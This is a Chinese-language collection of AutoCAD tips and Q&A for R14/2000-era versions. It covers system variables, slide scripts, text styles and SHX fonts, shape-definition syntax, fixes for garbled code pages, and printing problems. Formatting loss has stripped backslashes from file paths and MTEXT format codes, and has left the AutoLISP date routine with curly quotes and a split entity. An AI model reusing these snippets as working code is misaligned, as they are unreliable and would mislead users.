SDI:控制 AutoCAD 运行于单文档还是多文档界面。0打开多图形界面。1关闭多图形界面。2、3(只读)禁用多图形界面。
SPLINESEGS:设置每条样条拟合多段线(此多段线通过PEDIT 命令的“样条曲线”选项生成)的线段数目。变量值越大,拟合曲线就越光滑。
EXPLMODE:控制EXPLODE命令是否分解不相等比例的块(X和Y比例系数不同)。0-不许分解,1-(缺省)可以分解。
MIRRTEXT:控制MIRROR命令对文本的镜像变换方式。0-保持文本从左到右的阅读方式;1-(缺省值)镜像文本。
PELLIPES:控制绘制的椭圆类型,0-椭圆、1-由多义线表示的椭圆。
BLIPMODE:控制点标记是否可见。0 关闭点标记;1 打开点标记。
ATTDIA:确定用户使用INSERT命令插入一个包含特征的块时,是否弹出对话框。变量值为0,关闭该对话框。
LASTANGLE:保存最后输入圆弧的结束角度。
注:以上除注明外均适用于CAD2000以上系统。
31.在CAD2000中创建幻灯
1. 输入命令:MSLIDE,将*DWG文件转换为幻灯片文件(*SLIDE)并存为同一文件夹。
2. 在ACAD2000文件夹中建一文本文件,编写脚本文件:(假设存于C盘)解释不用输。
VSLIDE C:ACAD20001 (显示幻灯片1)
VSLIDE *C:ACAD20002 (预装幻灯片2)
DELAY 5000 (延迟5秒)
VSLIDE (显示幻灯片2)
VSLIDE *C:ACAD20003 (预装幻灯片3)
DELAY 3000 (延迟3秒)
VSLIDE (显示幻灯片3)
。
。
RSCRIPT. 回车
3. 保存文件并关闭,将其扩展名改为。SCR
4. 在CAD中输SCRIPT命令然后选刚建立的。SCR文件,好看吧。
32.请问如何在CAD图形中显示日期
请问如何在CAD图形中显示日期,而且时间可以和系统时间同步更新
1.;;插入系统日期
(DEFUN C:wltime
(setq pt0 (getpoint ”n请指定插入位置点 :“))
(setq xdate (menucmd ”M=$(edtime,$(getvar,date), YYYY.0M.DD.)“))
(command &q
uot;text” “j” “m” pt0 5.0 0 xdate )
(princ)
)
2.命令:MODEMACRO
然后输入(edtime,$(getvar,date), YYYY.0M.DD.)
3.在打印对话框中可以选择是否要打印戳记。
33.巧借EXCEL在AUTOCAD中绘曲线
在工程计算时,经常要用AutoCAD画出一条曲线,而这条曲线如果是由多个坐标点连接成的,
输入起来就麻烦,而且容易出错。如果利用EXCEL应用程序来保存数据,并与CAD巧妙地结合起来,
就能很容易地画出该曲线。具体方法为
首先,在Excel中输入坐标值。我们将x坐标值放入A列,y坐标值放入到B列,
再将A列和B列合并成C列,由于AutoCAD中二维坐标点之间是用逗号隔开的,
所以我们在C2单元格中输入:“=A2&”,“&B2”,C2中就出现了一对坐标值。
我们用鼠标拖动的方法将C2的的公式进行复制,就可以得到一组坐标值。
其次,选出所需画线的点的坐标值,如上例中C列数据,将其复制到剪贴板上,
即按Excel中的复制按钮来完成此工作。
最后,打开AutoCAD,在左下角处可以看见命令行(左下图),
在“command”后键入“spline” (画曲线命令),出现提示:“Object/:”,
再在此位置处点击鼠标右键,弹出菜单,在菜单中选“Paste”命令,这样在Excel中的坐标值就传送到了AutoCAD中,并自动连接成曲线,单击鼠标右键,取消继续画线状态,曲线就画好了。
通过上面的方法,可以很方便地绘制各种曲线或折线,并且在Excel中很容易地修改并保存坐标值。
一些大的地形图可能出现X、Y坐标较大,在填充自制花纹时,可能出现花纹混乱,
先在要填充物体附近画一直线(水平),选用UCS中的OB(物体对应坐标系),然后选中该直线,
转化坐标后再填充就不会出现花纹混乱了。
34.从R14转到CAD2004最不习惯的左键设置,以前一手键盘一手鼠标的操作方式有点不方便了。
最后发现可以将鼠标中键设置为回车键,需经过下述三个步骤:
1,透过 Windows 控制台内的「鼠标」选项,将鼠标中键的功能设回「中键」。
2,将 AutoCAD 菜单 (acad.mnu) 内 ***AUX1 区的第二行 (代表鼠标的第三个键) 改成一个分号 (;),并重新加载该菜单。
3,将系统变量 MBUTTONPAN 设为 0。
[转帖]AutoCAD文字输入全攻略
AutoCAD文字输入全攻略
AutoCAD文字输入全攻略(此文本有WORD97自动转换生成)AutoCAD文字输入全攻略
AutoCAD软件的应用中,设计人员均需要输入各种字型的文字,以满足图形设计的需要。我们能输入文字,
但是我们输入的文字正确吗?能实现我们理想的效果吗?笔者就实践中对文字输入的一些经验提出来供大家探讨
(本文所提及的操作环境均为Windows9.X 、AutoCAD R14中文版)。
35.一、AutoCAD R14软件的“文字样式”
AutoCAD R14软件中输入的文字均有一个文字的样式名,不同的样式名可设置成相同或不相同的字体。
改变文字的字体,就需要选择不同的文字样式。文字样式的设置可在AutoCAD
R14菜单的“格式文字样式”下拉菜单命令中设置。如图一所
示:
1、样式名:显示文字的样式名称,增加、重命名、删除样式。样式名最多可以包括 31 个字符。
字符中可以包含字母、数字、美元符号 ($)、下划线 (_)、连字符 (-) 和中文字符。AutoCAD 将样式名中的小写字母自动转换为大写字母。
考虑到人们的使用习惯,建议用直观的中文字符样式名。如图二所示:
2、字体: 通过改变不同的字体名、字体样式、高度来修改文字样式使用的字体。
“字体名” 列表框内列出了在WINDOWS9.X系统中已注册的 TrueType 所有字体(字体名前以T符号标示)和AutoCAD软件 Fonts 目录下已编译的所有形 (SHX) 字体的字体名(如图三所示)。
TrueType字体为微软公司和Apple公司共同研制的字型标准。图形中的 TrueType 字体是以填充的方式显示出来,在打印时,TEXTFILL 系统变量控制该字体是否填充。TEXTFILL 系统变量的缺省设置为1,这时打印出填充的字体。
SHX形字体属于“矢量字形”,是一种用形状或方程来描述字符轮廓的字符形式。这种字形的优点是在显示时字符可以任意缩小或放大,缺点是需要作大量处理。在选择SHX字体后,应选取“大字体”选项指定亚洲语言(包括简、繁体汉语、日语、韩语等)的大字体文件,
已便使用正确的亚洲语言字体(如图四所示)。只有在“字体名”中指定SHX 文件,才可以使用“大字体” 选项,只有 SHX 文件可以创建“大字体”。在选择TrueType 字体后,可改变TrueType字体“字体样式”,指定字体格式,如正常体、斜体、粗体等。选定“大字体”选框后,该选项变为“大字体”,用于选择大字体文件。
如图五所示:“高度” 框内输入所选文字样式使用字体的省缺高度, 如果输入的高度为0.0000,每次用该文字样式输入文字时,AutoCAD 都将提示输入文字高度。如果输入值大于 0.0000,则用已设置的文字高度输入文字。在相同的设置下, 不同的SHX字体、TrueType 字体显示的高度、宽度、间距均不同,如图六所示(图中各字体高度、宽度比例设置均相同)。
图中可看出,SHX字体的英文字母比TrueType 字体的英文字母高, 大字体的中文字比TrueType 字体的中文字低。
常用的SHX字体:
txt 标准的 AutoCAD 文字字体。这种字体可以通过很少的矢量来描述,它是一种简单的字体,因此绘制起来速度很快,txt字体文件为txt.shx。
monotxt 等宽的 txt 字体。在这种字体中,除了分配给每个字符的空间大小相同(等宽)以外,其他所有的特征都与 txt
字体相同。因此,这种字体尤其适合于书写明细表或在表格中需要垂直书写文字的场合。
romans 这种字体是由许多短线段绘制的 roman 字体的简体(单笔划绘制,没有衬线)。该字体可以产生比 txt 字体看上去更为单薄的字符。
romand 这种字体与 romans 字体相似,但它是使用双笔划定义的。该字体能产生更粗、颜色更深的字符,特别适用于在高分辨率的打印机(如激光打印机)上使用。
romanc 这种字体是 roman 字体的繁体(双笔划,有衬线)。
romant 这种字体是与 romanc 字体类似的三笔划的 roman 字
体(三笔划,有衬线)。
italicc 这种字体是 italic 字体的繁体(双笔划,有衬线)。
italict 这种字体是三笔划的 italic 字体(三笔划,有衬线)。
scripts 这种字体是 script. 字体的简体(单笔划)。
scriptc 这种字体是 script. 字体的繁体(双笔划)。
greeks 这种字体是 Greek 字体的简体(单笔划,无衬线)。
greekc 这种字体是 Greek 字体的繁体(双笔划,有衬线)。
gothice 哥特式英文字体。
gothicg 哥特式德文字体。
gothici 哥特式意大利文字体。
syastro 天体学符号字体。
symap 地图学符号字体。
symath 数学符号字体。
symeteo 气象学符号字体。
Symusic 音乐符号字体。
常用的大字体(如图七所示) :
hztxt 单笔划小仿宋体。
hzfs 单笔划大仿宋体。
china 双笔划宋体。
常用的中文大字体图例,详图七所示:
3、效果:修改字体的特性,例如高度、宽度比例、倾斜角、倒置显示、反向或垂直对齐。如图八所示:
“垂直”:可使文字垂直显示。只有在选定字体支持双向时“垂直”才可用。TrueType 字体不能设置“垂直”选项。
“宽度比例”:设置字符宽度相对于“字符本身宽度”的比例。“字符本身宽度”是字体文件在字符描述时已确定的宽度。输入值如果小于 1.0
将压缩字符宽度,输入值如果大于 1.0 则将扩大字符宽度。
“倾斜角”:设置文字的倾斜角,使文字倾斜。输入值应在 -85 到 85 之间。
二、AutoCAD R14的文字输入:
AutoCAD R14软件的文字输入主要有以下三个命令:text、dtext、mtext 。
1、“TEXT” 命令用于创建单行文字。
如果上一个命令也为text,则在“对正(J)/样式(S)/”提示后,将跳过“高度”和“旋转角度”提示而直接显示“文字”输入提示。文字将直接放在上一行文字的下方。
2、“DTEXT” 命令可连续输入多行文字,而不需重复输入命令。在每行输入一个字时,可方便的实现文字的竖排。
3、“MTEXT” 命令使用“多行文字编辑器” 编辑文字。
当拖动定点设备指定对角点时,将会显示一个矩形框来表示多行文字对象的位置和大小。矩形内的箭头指明段落中文字的走向。指定了第二个角点后, AutoCAD
将显示“多行文字编辑器”对话框。请注意:“多行文字编辑器”仅显示 Windows 能识别的字体,不能识别 AutoCAD 的 SHX 字体。
AutoCAD “多行文字编辑器”可在“工具/系统配置/文字编辑器、字典和字体文件名/文字编辑器应用程序”中定义。AutoCAD默认的文字编辑器应用程序名为“Internal”,我们可定义第三方的文字编辑器进行多行文字编辑,如:WINDOWS系统的写字板、记事本、WORD等。可在“多行文字编辑器”中直接调入已编辑好的文本文件。注意:AutoCAD默认的“多行文字编辑器”调入的文件大小不得大于16K。
如果用第三方文字编辑器,可输入格式代码来产生特定的文字
格式。可为文字加下划线、上划线,并创建叠式文字(如分数)。也可以修改颜色、字体和文字高度。可改变文字字符间的空格或增加字符宽度。要产生特定的文字格式,请使用下表中显示的格式代码。格式代码 用途
...o 关闭和打开上划线
L...l 关闭和打开下划线
~ 插入一个连续空格
插入一个反斜杠
{...} 插入左大括号和右大括号
Cvalue; 应用指定的颜色
File name; 应用指定的字体文件
Hvalue; 应用指定文字高度
Hvaluex; 应用多行文字对象的特性
S...^...; 堆叠 或 ^ 符号后的文字
Tvalue; 调整字符间的间距,从 .75 到 4 次
Qangle; 改变倾斜角
Wvalue; 改变宽度比例来调整文字的宽度
A 设置对齐方式值,有效值:0、1、2(底部、中部、顶部)
P 结束段落
在换行的地方添加反斜杠或空格字符可实现换行。可使用大括号对({ }),在其中输入特定的文字格式定义文字,大括号最多可以嵌套八层。如下例所示:
请{H5F simhei.ttf 看清楚}此例子。
在 R14中可使用Unicode 字符编码输入。Unicode 字体可包含 65,535 个字符,以及为不同语言设计的形。Unicode 字体包含的字符要比系统中定义的还要多。因此,使用不可能直接从键盘上输入的字符时,可以输入转义序列 U+nnnn,其中 nnnn 表示字符的 Unicode 十六进制值。现在 AutoCAD 的所有 SHX 形字体都是 Unicode 字体。例如:
U+00B0 为度数符号 ( °)
U+00B1 为公差符号 (±)
U+2205 为直径符号 (?)
4、利用“剪贴板”功能输入已编写好的全部或部分文本。用文字编辑软件把需要调入的文件打开,选择需要的文本,按“复制”命令使文本内容进入“剪贴板”。假如剪贴板中有文字,可以从AutoCAD “编辑”菜单中选择“粘贴”将剪贴板中的文字粘贴到 AutoCAD 中。
5、用“插入”菜单“OLE对象”功能插入文本文件。把文本文件作为一个OLE对象整体插入及编辑。
三、AutoCAD R14图形中文字乱码的解决:
当打开AutoCAD的图形文件时, AutoCAD自动根据图形中的文字样式定义,在AutoCAD 支持的文件搜索路径中查找字体文件,当没有找到所需要的字体文件时,AutoCAD将弹出一个对话框要求你选择一个代替的字体以正确显示。如图九所示: 当选择的字体不正确时,打开的图形中将有部分或全部文字显示为“?”,表示此文字在现在的文字定义下不能正确显示。此时可使用菜单中的“修改/特性”命令,在“样式”框中选择合适的文字样式。如图十所示:文字样式的设置可在AutoCAD R14菜单的“格式文字样式”下拉菜单命令中设置。当有中文文字无法打开时,请先在“文字样式” 命令中设置有中文大字体或有中文字体的文字样式格式。请注意:对于文字串中的每一个字符,AutoCAD 都先搜索大字体文件。如果从中未找到该字符,才搜索普通字体文件。
2、当用AutoCAD R14打开R12/R13的图形文件时,因为文字代码页的不同,图形中的中文文字可能出现乱码。如图十一所示:
此时请立即关闭此文件
(不要保存),可使用“天正CAD软件”的“DWGCODE.EXE”程序来处理此类图形文件。DWGCODE是专为AutoCAD
R14编写的代码页转换工具,其界面如图十二所示:
“要转换的文件名”中可输入待转换的文件或目录。
“只转换以下的DWG/DXF文件”中请选择待转换的文件是用什么版本的AutoCAD绘制的。
“选择一个新的代码页”中请选择“ASCⅡ”。
“将转换后的文件拷贝到”中,当需要把转换的图形另外保存时,可输入一个新的文件目录。现在你可以按“开始转换”按钮进行转换了。
在使用“代码页转换工具”时,请注意:同一个图形文件不得多次转换,否则可能使图形文件无法修复。
使用AutoCAD软件自带的附赠程序建立图形文件工作包:在正版的R14软件中增加有一个“附赠程序”下拉菜单,执行“工具/打包”命令,执行界面如图十三所示:可将你正在绘制的图形及需要的字体文件一起“打包”保存至统一目录下。你即可以在其它的计算机中打开图形而不会担心文字符号显示的正确性。当然,你也可以自己把图形和需要的字体文件保存起来。
四、字体文件的定制:
在AutoCAD中用户可自己定义扩展名为“ .shp”形定义字体文件。“ .shp” 形定义字体文件是ASCII 格式的文件,你可以使用文本编辑器或字处理器编辑进行编辑。 然后使用AutoCAD 的“compile”命令编译该 ASCII 文件,编译后会形成扩展名为“ .shx”的形文件,此文件可使用“STYLE. ”命令装载后使用。如果编译前的形定义文件定义了字体,则可用 STYLE. 命令定义文字样式,然后用文字输入命令(TEXT、DTEXT 或 MTEXT)将字符写入图形中。
常见ASCII字体文件的编写格式如下:
*0,4,Standard Font 10/23/91 ;字体必须包括的特殊形编号 0
6,2,2,0 ;定义字节行
*10,7,lf ;标题行
2,0AC,14,8,(9,10),0 ;0AC为十六进制值
*32,7,spc
2,060,14,8,(-6,-8),0
以下略。
形定义文件的每一行最多可包含 128 个字符,超过此长度的行不能编译。AutoCAD 忽略空行和分号右边的文字。利用分号可以在形定义文件中包含注释。每个形说明都有一个标题行,以及一行或多行定义字节。这些定义字节之间用逗号分隔,最后以 0 结束。格式如下:*编号, 数据字节 , 名称 形定义字节1, 形定义字节2, 形定义字节3,...,0 下面为形各个字段的说明:
“编号”段
“编号”段在形定义文件中对应唯一的一个形,“编号”段的数字必须在 1 到 258 之间,带前缀星号
(*)。如果定义的是字体文件,则“编号”段的数字编号要与定义的每个字符的 ASCII 码对应。
“数据字节” 段
用于描述形使用的数据字节数目,包括结尾的“0”。每个形最多可有 2,000 个数据字节。
“名称” 段
形的名称。形名称必须大写,以便于区分。包含小写字符的名称被忽略,并且通常用作字体形定义的标签。
“
形定义字节” 段
每个定义字节都是一个代码,或者定义矢量长度和方向,或者是特殊代码的对应值之一。在形定义文件中,定义字节可以用十进制或十六进制表示。如果形定义字节的第一个字符为 0(零),则后面的两个字符解释为十六进制值。定义文件定义“ASCII字体”时,第一个形说明必须为特殊的形编号 0,以提供字体本身的信息。其格式如下:
*0,4,font-name
above,below,modes,0
其中,above 指定大写字母从基线往上扩展的矢量长度,below 指出小写字母从基线下降的距离。这些值定义了基本字符尺寸,用作 TEXT 命令中指定高度的比例因子。
modes 字节对水平字体应该为 0,对双向(水平或垂直)字体为 2。
AutoCAD 提供的标准字体包括一些 AutoCAD 标注功能所需的其他字符。例如以下:
%%d 度符号 ( °)
%%p 正/负公差符号 (±)
%%c 圆直径标注符号 (?)
%%o 打开或关闭上划线模式。
%%u 打开或关闭下划线模式。
%%% 绘制一个百分号。
请注意:如果要定义“大字体”时,大字体形定义文件的第一行必须以“*BIGFONT”开始。
AutoCAD 经验与技巧
问:开始绘图要做哪些准备?
答:磨刀不误砍柴工。计算机绘图跟手工画图一样,也要做些必要的准备。如设置图层、线型、标注样式、目标捕捉、单位格式、图形界限等。很多重复性的工作则可以在模板图如ACAD.DWT中预先做好,开始新图拿来就能用。
问:在AutoCAD中采用什么比例绘图好?
答:最好使用1∶1比例画,输出比例可以随便调整。画图比例和输出比例是两个概念,输出时使用“输出1单位=绘图500单位”就是按1/500比例输出,若“输出10单位=绘图1单位”就是放大10倍输出。用1∶1比例画图好处很多。第一、容易发现错误,由于按实际尺寸画图,很容易发现尺寸设置不合理的地方。第二、标注尺寸非常方便,尺寸数字是多少,软件自己测量,万一画错了,一看尺寸数字就发现了(当然,软件也能够设置尺寸标注比例,但总得多费工夫)。第三、在各个图之间复制局部图形或者使用块时,由于都是1∶1比例,调整块尺寸方便。第四、由零件图拼成装配图或由装配图拆画零件图时非常方便。第五、用不着进行烦琐的比例缩小和放大计算,提高工作效率,防止出现换算过程中可能出现的差错。
问:图层有什么用处?
答:合理利用图层,可以事半功倍。一开始画图,就预先设置一些基本层。每层有自己的专门用途,这样做的好处是:只须画出一份图形文件,就可以组合出许多需要的图纸,需要修改时也可针对图层进行。
问:命令别名是怎么回事?
答:为便于输入命令,省得记忆英文全名,可以用命令别名(ALIAS)来代替命令。如输入C就相当于输入了CIRCLE命令,L相当于LINE命令。命令别名可以大大加快命令的输入速度,提高绘图效率。老手一般都是左手敲命令,右手点鼠标。
命令别名在ACAD.PGP文件中设置,用任何文本编辑器均可编辑该文件。AutoCAD提供了修改命令别名的工具ALIASEDIT,以对话框的方式交互编辑别名。
问:绘图前,绘图界限(LIMITS)
一定要设好吗?
答:画新图最好按国标图幅设置图界。图形界限好比图纸的幅面,画图时就在图界内,一目了然。按图界绘的图打印很方便,还可实现自动成批出图。当然,有人习惯在一个图形文件中绘制多张图,这样设置图界就没有太大的意义了。
问:尺寸标注后,图形中有时出现一些小的白点,却无法删除,为什么?
答:AutoCAD在标注尺寸时,自动生成一DEFPOINTS层,保存有关标注点的位置等信息,该层一般是冻结的。由于某种原因,这些点有时会显示出来。要删掉可先将DEFPOINTS层解冻后再删除。但要注意,如果删除了与尺寸标注还有关联的点,将同时删除对应的尺寸标注。
问:习惯了R12的全屏幕十字光标,可R14的光标很小,怎么办?
答:可点击菜单Toolspreferencespoint device,将光标的百分比设为100%即可(默认5%)。也可在命令行上直接修改CURSORSIZE系统变量。
问:目标捕捉(OSNAP)有用吗?
答:用处很大。尤其绘制精度要求较高的机械图样时,目标捕捉是精确定点的最佳工具。Autodesk公司对此也是非常重视,每次版本升级,目标捕捉的功能都有很大提高。切忌用光标线直接定点,这样的点不可能很准确。
问:为什么绘制的剖面线或尺寸标注线不是连续线型?
答:AutoCAD绘制的剖面线、尺寸标注都可以具有线型属性。如果当前的线型不是连续线型,那么绘制的剖面线和尺寸标注就不会是连续线。
问:怎样用R12的“命令取消”键?
答:R14默认的“命令取消”键是“ESC”键,如果你已经习惯了R12的“Ctrl+C”,可点击菜单Toolspreferences compatibilitypriority for accelerator keysAutoCAD classic,然后就可以用“Ctrl+C”取消命令了,同时“ESC”键仍然有效。
问:怎样一次剪除多条线段?
答:TRIM命令中提示选取要剪切的图形时,不支持常用的window和crossing选取方式。当要剪切多条线段时,要选取多次才能完成。这时可以使用fence选取方式。当trim命令提示选择要剪除的图形时,输入“f”,然后在屏幕上画出一条虚线,回车,这时与该虚线相交的图形全部被剪切掉。
类似的,对于EXTEND命令,在select object:提示时输入F,可一次延伸多个实体。
问:为什么删除的线条又冒出来了?
答:最大的可能是有几条线重合在一起了。对于新手,这是很常见的问题。
另外,当一条中心线或虚线无论如何改变线型比例也还是象连续线(REGEN后),多半也是这个原因。
问:如何快速变换图层?
答:单击“Object Propertys(物体特性)”工具条上的“Make objects' layer current”按钮(工具条的最左边的按钮),然后在作图区选择要去的图层上的任一图形,当前层立刻变换到选取的图形所在层。
问:如何处理手工绘制的图纸,特别是有很多过去手画的工程图样?
答:把图纸扫描到计算机里或许是个办法。但注意,AutoCAD处理的图形是矢量图,而扫描的图纸形成的是点阵图,两者性质上的不同使得虽然可以把扫描图纸生成的图形文件插入到AutoCAD中,但你只能观看而不能编辑。也有一些矢量化
的工具,可以把点阵图转换为矢量图,但限于技术水平,转换的效率和效果都不能使人满意。笔者试用过多种这样的工具,结果令人失望。(有处理那工夫,还不如重新画一遍)
问:如何减少文件大小?
答:在图形完稿后,执行清理(PURGE)命令,清理掉多余的数据,如无用的块、没有实体的图层,未用的线型、字体、尺寸样式等,可以有效减少文件大小。一般彻底清理需要PURGE二到三次。
另外,缺省情况下,在R14中存盘是追加方式的,这样比较快一些。如果需要释放磁盘空间,则必须设置ISAVEPERCENT系统变量为0,来关闭这种逐步保存特性,这样当第二次存盘时,文件尺寸就减少了。
问:如何设置自动保存功能?
答:将变量SAVETIME设成一个较小的值,如10(分钟)。AutoCAD默认的保存时间为120分钟。
问:如何将自动保存的图形复原?
答:AutoCAD将自动保存的图形存放到AUTO.SV$或AUTO?.SV$文件中,找到该文件将其改名为图形文件即可在AutoCAD中打开。
一般该文件存放在WINDOWS的临时目录,如C:WINDOWSTEMP。
问:误保存覆盖了原图时如何恢复数据?
答:如果仅保存了一次,及时将后缀为BAK的同名文件改为后缀DWG,再在AutoCAD中打开就行了。如果保存多次,原图就无法恢复。
问:为什么提示出现在命令行而不是弹出Open或Export对话框?
答:AutoCAD的系统变量FILEDIA用来控制文件列表对话框的显示,设置FILEDIA为1时将使这些对话框显示,如果FILEDIA被设为0,通过输入一个符号“~”来响应你所选择命令的第一个提问,你仍然可以获得一个对话框显示。当然,从一个批处理命令或 AutoLISP/ADSRX/ObjectARX应用程序中调用一个文件操作命令时,需要命令行提示,而不应该出现对话框。
问:为什么当一幅图被保存时文件浏览器中该文件的日期和时间不被刷新?
答: Autodesk已经发现了这个问题,它仅仅出现在Win95B的操作系统中,在Win95A或Windows NT环境下从没有发生过。作为一个权宜之策,可以在AutoCAD R14中设置系统变量ISAVEPERCENT为0,使AutoCAD在每次存盘时都重写整个绘图内容,这可能使保存时间长一些,但却能保证文件日期被正确刷新。
问:为什么不能显示汉字?或输入的汉字变成了问号?
答:原因可能是:
1. 对应的字型没有使用汉字字体,如HZTXT.SHX等;
2. 当前系统中没有汉字字体形文件;应将所用到的形文件复制到AutoCAD的字体目录中(一般为...FONTS);
3. 对于某些符号,如希腊字母等,同样必须使用对应的字体形文件,否则会显示成?号。
问:如何解决在R14中打开R12文件出现汉字乱码问题?
答:用R14打开R12的文件时,即使正确地选择了汉字字形文件,还是会出现汉字乱码,原因是R14与R12采用的代码页DWGPAGECODE不同。可到AutoDesk公司主页下载代码页转换工具wnewcp。运行wnewcp 后,首先选中“R11/R12”复选框,再单击“Browse”按钮,选择要转换的文件或目录,然后选择新的代码页(ANSI),单击“Start Conversion”即开始转换。转换后,在R14中就能正确地显示汉字。
天正提供的代码转换工具DWGCODE.EXE同样可以进行代码
转换。
如果没有这些工具,可在R12的环境中打开要转换的图形文件,在COMMAND状态下输入DWGCODEPAGE,修改其值为ASCII后保存文件即可。
批量修改可使用SCR命令组文件或用LISP编程实现。
问:为什么输入的文字高度无法改变?
答:使用的字型的高度值不为0时,用DTEXT命令书写文本时都不提示输入高度,这样写出来的文本高度是不变的,包括使用该字型进行的尺寸标注。
问:如何改变已经存在的字体格式?
答:如果想改变已有文字的大小、字体、高宽比例、间距、倾斜角度、插入点等,最好利用“特性(DDMODIFY)”命令(前提是你已经定义好了许多文字格式)。点击“特性”命令,点击要修改的文字,回车,出现“修改文字”窗口,选择要修改的项目进行修改即可。
问:可以使用系统字体吗,如宋体、楷体等?
答:虽然ACADR14能够使用*.TTF汉字字体文件,可是这种字体太花费CPU时间,对于档次稍低的电脑,显示速度(如使用实时缩放命令时)实在太慢。建议档次低的电脑还是使用*.shx文件好。在汉字*.shx文件当中,推荐使用大恒或浩辰公司为ACADR12配套的HZ*.shx字体文件,但在不同机器上没有相应字体会引起汉字显示问题。当然为美观起见少量使用系统字库也未尝不可。
问:为什么工具条的按钮图标被一些笑脸代替了?
答:当AutoCAD找不到按钮位图文件的路径时,工具条或工具框中的这些按钮图标将被一张笑脸所代替。这可能出现在工具条被用户化之后,菜单模板文件(MNU)又被手工编辑了。
这种情况,可以用文本编辑器打开菜单源文件(MNS)和菜单模板文件(MNU),从MNS文件中复制用户化工具条部分,粘贴到MNU文件中,然后更名或删除掉旧的MNS、MNC和MNR文件,再用MENU/MENULOAD命令装载MNU文件,AutoCAD将重新编译菜单文件,产生新的MNS、MNC和 MNR文件,这样就会解决问题。
另外,如果位图文件不在AutoCAD的支持路径上,这一问题也会出现。请确信在“Preferences(系统配置)”对话框中的支持路径已经包括了该位图文件所在的目录。例如,如果你从一个用户化工具条中移动一个按钮到AutoCAD的标准菜单中的一个工具条时,你必须编辑这一按钮文件,以便该位图文件保存在被支持路径里。可按以下步骤来做:
1.移动或复制图标到一个不同的菜单工具条中之后,保持工具条对话框仍然是打开的,用鼠标右键单击该图标来编辑它。
2.在按钮属性对话框中,选“编辑”按钮。
3.在按钮编辑器对话框中,选择Save as 按钮,指定在AutoCAD支持的路径中的位图文件目录。
4.关闭按钮编辑器,然后在按钮属性对话框中选择Apply(应用)按钮,最后关闭AutoCAD,再重新启动它。
问:如何汉化菜单?
答:在WIN95/98下,用编辑器如写字板将support目录下的acad.mnu文件,将[]内的英文命令名称改为中文,存盘退出。再在R14中输入“menu“命令,将acad.mnu菜单文件装入,下拉菜单就变成了中文。
如果有已汉化的菜单文件可以直接使用。
问:PLOT和ASE命令后只能在命令行出现提示,而没有弹出对话框,为什么?
答:AutoCAD的系统变量CMDDIA
用来控制PLOT命令和ASE命令的对话框显示,设置CMDDIA为1,就可以解决问题。
问:打印出来的图效果非常差,线条有灰度的差异,为什么?
答:这种情况,大多与打印机或绘图仪的配置,驱动程序,以及操作系统有关。通常从以下几点考虑,就可以解决问题。
1.配置打印机或绘图仪时,误差抖动开关是否关闭;
2.打印机或绘图仪的驱动程序是否正确,是否需要升级;
3.如果把AutoCAD配置成以系统打印机方式输出,换用AutoCAD为各类打印机和绘图仪提供的ADI驱动程序重新配置AutoCAD打印机;
4.对不同型号的打印机或绘图仪,AutoCAD都提供了相应的命令,可以进一步详细配置。
例如对支持HPGL/2语言的绘图仪系列,可使用命令“hpconfig”;
5.在AutoCAD Plot对话框中,设置笔号与颜色和线型以及笔宽的对应关系;为不同的颜色指定相同的笔号(最好同为1),但这一笔号所对应的线型和笔宽,可以不同。某些喷墨打印机只能支持1-16的笔号,如果笔号太大则无法打印;
6.笔宽的设置是否太大,例如大于1;
7.操作系统如果是Windows NT,可能需要更新的NT补丁包(Service Pack)。
问:安装R14以后,MS WORD里什么字体也没有了,怎么回事?
答:影响MS WORD字体的原因,是与R14为系统安装的一个叫做Phantom AutoCAD OLE/ADI的虚拟打印机有关。Phantom AutoCAD OLE/ADI虚拟打印机使得R14能够通过新的ADI驱动程序,打印或绘制光栅图形。R14典型安装中,并不包含这个选项,只有在全安装或定制安装时,才会产生这个虚拟打印机,有时它还会被设置为默认系统打印机,而不做任何提示。
根据Microsoft Office软件“所见即所得”的原则,MS WORD文档所使用的字体,与系统默认打印机有关。也就是说,屏幕显示字体应与打印机打印字体一样或相近。Windows首先会根据打印机打印字体,去寻找合适的屏幕显示字体,如果找不到匹配的字体,或打印机驱动程序不提供屏幕字体信息, Windows 会选择最接近打印机字体的屏幕字体。如果把Phantom AutoCAD OLE/ADI的虚拟打印机作为默认系统打印机,MS WORD的字体就只有两种:morden和plotter。
在Windows系统中,指定正确的系统打印机作为默认打印机,MS WORD的字体就可以恢复正常了。如果系统里没有其他任何打印机,就应该在“打印机设置”里,先配置一个Windows系统打印机,即使是个“逻辑”的打印机也可。
有一点要切记,不能修改Phantom AutoCAD OLE/ADI虚拟打印机的属性,更不能随意删除它,否则,将会影响光栅图形和OLE对象的输出,甚至会引起系统崩溃。
问:能否实现成批打印?
答:方法一:将图形首先输出到PLT文件,再在DOS下用批处理文件将指定目录下的PLT文件成批打印。
方法二: R14有专门的外部函数,能够把多个图形文件,根据不同的打印配置文件,输出到一台或多台打印机或绘图仪中,而达到成批出图的目的。这两种方式,更加灵活,出错机会也少,效率也就更高。在AutoCAD程序组中选择Batch Plot Utility即可。
问:粘贴到Word文档中的AutoCAD图形,打印出的线条太细,怎么办?
答:把AutoCAD的图形剪贴到
MS Word文档里,看起来一切都比较顺利。但当把文档打印出来后,那些AutoCAD图形线条变得非常细,效果着实不好。我们提供给用户如下的解决方法:
1.在AutoCAD中使用PostScript打印驱动程序,配置一个PostScript打印机。
2.如果AutoCAD的背景颜色与MS Word的背景颜色不同,例如R14默认的背景颜色是黑色,这时要先改变AutoCAD的背景颜色,与MS Word的背景颜色相同。
3.运行PLOT命令,选择出图到文件。在画笔指定对话框中设置笔的宽度。
4.开始一个新图,用PSIN命令输入这个.eps文件。
5.然后再把图形剪贴到MS Word中
还有一种方法,可以在AutoCAD中将线条转换成PLINE线,设好宽度再复制、粘贴到WORD中。
问:为什么有些图形能显示,却打印不出来?
答:如果图形绘制在AutoCAD自动产生的图层(DEFPOINTS、ASHADE等)上,就会出现这种情况。应避免在这些层上绘制实体。
AutoCAD使用精典问答50例! 1.为什么我的auto cad在使用 ctrl+c复制时,所复制的物体总是离鼠标控制点很远。这个问题要如何解决?
在CAD中的剪贴板复制功能中,默认的基点在图形的左下角。最好是用带基点复制,这样就可指定所需的基点。带基点复制是CAD的要求与WINDOWS剪贴板结合的产物。在“编辑”菜单中或右键菜单中有此命令。
2.本人文字说明一直用汉字仿宋,输出时文字和字母、数字的大小基本上是相同的。但是一些符号不可用。并且占用空间大。尝试过别的字体,但是文字和数字大小差别太大。请教各位是用那种字体。还有怎样在输入文字中更改某些文字的字体样式,移动时还是一个整体。
用多行文本。
3.请问如何测量带弧线的多线段与多义线的长度?
只要用列表命令(list)!
